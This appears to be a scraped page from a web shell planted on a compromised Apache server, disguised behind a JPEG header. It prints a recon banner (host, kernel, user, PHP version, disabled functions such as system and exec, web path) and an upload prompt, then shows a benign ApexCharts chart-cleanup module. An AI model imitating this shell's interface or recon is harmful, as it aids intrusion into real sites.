ÿØÿà JFIF ` ` ÿáfExif MM * i >ê 2 ê ê P ê ÿþ ?CREATOR: gd-jpeg v1.0 (usi
|
Server : Apache System : Linux gains.enterpriseappscloud.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : beyondlimi ( 2438) PHP Version : 7.4.33 Disable Function : allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo Directory : /home/beyondlimi/public_html/admin/assets/libs/apexcharts/src/modules/helpers/ |
Upload File : |
export default class Destroy {
constructor(ctx) {
this.ctx = ctx
this.w = ctx.w
}
clear({ isUpdating }) {
if (this.ctx.zoomPanSelection) {
this.ctx.zoomPanSelection.destroy()
}
if (this.ctx.toolbar) {
this.ctx.toolbar.destroy()
}
this.ctx.animations = null
this.ctx.axes = null
this.ctx.annotations = null
this.ctx.core = null
this.ctx.data = null
this.ctx.grid = null
this.ctx.series = null
this.ctx.responsive = null
this.ctx.theme = null
this.ctx.formatters = null
this.ctx.titleSubtitle = null
this.ctx.legend = null
this.ctx.dimensions = null
this.ctx.options = null
this.ctx.crosshairs = null
this.ctx.zoomPanSelection = null
this.ctx.updateHelpers = null
this.ctx.toolbar = null
this.ctx.localization = null
this.ctx.w.globals.tooltip = null
this.clearDomElements({ isUpdating })
}
killSVG(draw) {
draw.each(function () {
this.removeClass('*')
this.off()
this.stop()
}, true)
draw.ungroup()
draw.clear()
}
clearDomElements({ isUpdating }) {
const elSVG = this.w.globals.dom.Paper.node
// fixes apexcharts.js#1654 & vue-apexcharts#256
if (elSVG.parentNode && elSVG.parentNode.parentNode && !isUpdating) {
elSVG.parentNode.parentNode.style.minHeight = 'unset'
}
// detach root event
const baseEl = this.w.globals.dom.baseEl
if (baseEl) {
// see https://github.com/apexcharts/vue-apexcharts/issues/275
this.ctx.eventList.forEach((event) => {
baseEl.removeEventListener(event, this.ctx.events.documentEvent)
})
}
const domEls = this.w.globals.dom
if (this.ctx.el !== null) {
// remove all child elements - resetting the whole chart
while (this.ctx.el.firstChild) {
this.ctx.el.removeChild(this.ctx.el.firstChild)
}
}
this.killSVG(domEls.Paper)
domEls.Paper.remove()
domEls.elWrap = null
domEls.elGraphical = null
domEls.elLegendWrap = null
domEls.elLegendForeign = null
domEls.baseEl = null
domEls.elGridRect = null
domEls.elGridRectMask = null
domEls.elGridRectBarMask = null
domEls.elGridRectMarkerMask = null
domEls.elForecastMask = null
domEls.elNonForecastMask = null
domEls.elDefs = null
}
}